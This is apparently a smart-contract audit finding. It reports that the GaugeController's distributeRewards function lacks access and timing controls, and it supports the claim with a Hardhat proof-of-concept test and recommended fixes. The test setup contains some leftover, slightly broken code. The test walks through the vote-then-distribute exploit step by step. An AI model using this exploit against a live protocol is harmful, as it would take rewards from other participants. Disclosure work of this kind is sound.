Summary
GaugeController::distributeRewards is vulnerable to exploitation because it lacks access controls and time constraints. This allows any user to call the function at any time, enabling them to manipulate reward distribution by voting with high weights on a specific gauge and immediately triggering reward distribution. This results in an unfair allocation of rewards, centralizing them in the attacker's chosen gauge and undermining the protocol's fairness and decentralization.
Vulnerability Details
GaugeController::distributeRewards allows rewards calculated by the gauge controller to be correctly distributed to the gauges that have the associated weights. Weights are associated to gauges when they are created with GaugeController::addGauge and these gauges are changed based on user votes. Users with veRAAC tokens are allowed to vote and assign weights to any gauge of their choice which changes the gauge weight and in turn, the rewards the gauges receive.
* @notice Distributes rewards to a gauge
* @dev Calculates and transfers rewards based on gauge weight
* @param gauge Address of gauge to distribute rewards to
*/
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
The exploit occurs because the GaugeController::distributeRewards function has no access controls and no time constraints which means anyone can call it at any time. This presents attackers with an opportunity to assign a high weight to any vote they are currently staked in and immediately call GaugeController::distributeReward which will assign all rewards to that gauge leaving no time for other users to vote on any gauge weights and assigning rewards to whatever gauge of the user's choice
Proof Of Code (POC)
This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:
describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600;
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0,
0
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1,
0
);
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});
The relevant test is below:
it("user can prematurely call distributeRewards immediately after voting and send all rewards to any gauge they want", async () => {
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
await rewardToken.mint(
raacGauge.getAddress(),
ethers.parseEther("10000000000")
);
const user1RAACvotes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1RAACvotes);
const DAY = 24 * 3600;
await time.increase(DAY + 1);
const tx = await gaugeController
.connect(user1)
.distributeRewards(await raacGauge.getAddress());
const totalWeight = await gaugeController.getTotalWeight();
console.log("Total Weight", totalWeight);
const calcReward = await gaugeController._calculateReward(
await raacGauge.getAddress()
);
console.log("Calc Reward", calcReward);
const txReceipt = await tx.wait();
const eventLogs = txReceipt.logs;
let reward;
for (let log of eventLogs) {
if (log.fragment && log.fragment.name === "RewardDistributed") {
reward = log.args[2];
break;
}
}
console.log("Reward", reward);
const period = await raacGauge.periodState();
const distributed = period.distributed;
console.log("Distributed", distributed);
assert(reward == distributed);
});
Impact
The vulnerability allows a malicious user to manipulate the reward distribution process by:
Voting with High Weight: A user can assign a high weight to a specific gauge they are staked in.
Immediately Distributing Rewards: The user can call distributeRewards immediately after voting, ensuring that the rewards are allocated to their chosen gauge before other users have a chance to vote or adjust weights.
Centralizing Rewards: This results in an unfair distribution of rewards, as the attacker can monopolize the rewards for their gauge, leaving little to no rewards for other gauges.
Tools Used
Manual Review, Hardhat
Recommendations
Introduce Time Constraints
Ensure that reward distribution can only occur at specific intervals (e.g., at the end of a voting period).
This prevents users from manipulating rewards by calling distributeRewards immediately after voting.
Add Access Controls
Restrict the distributeRewards function to only be callable by authorized addresses (e.g., the protocol admin or a dedicated reward distributor contract). This prevents malicious users from triggering reward distribution at will.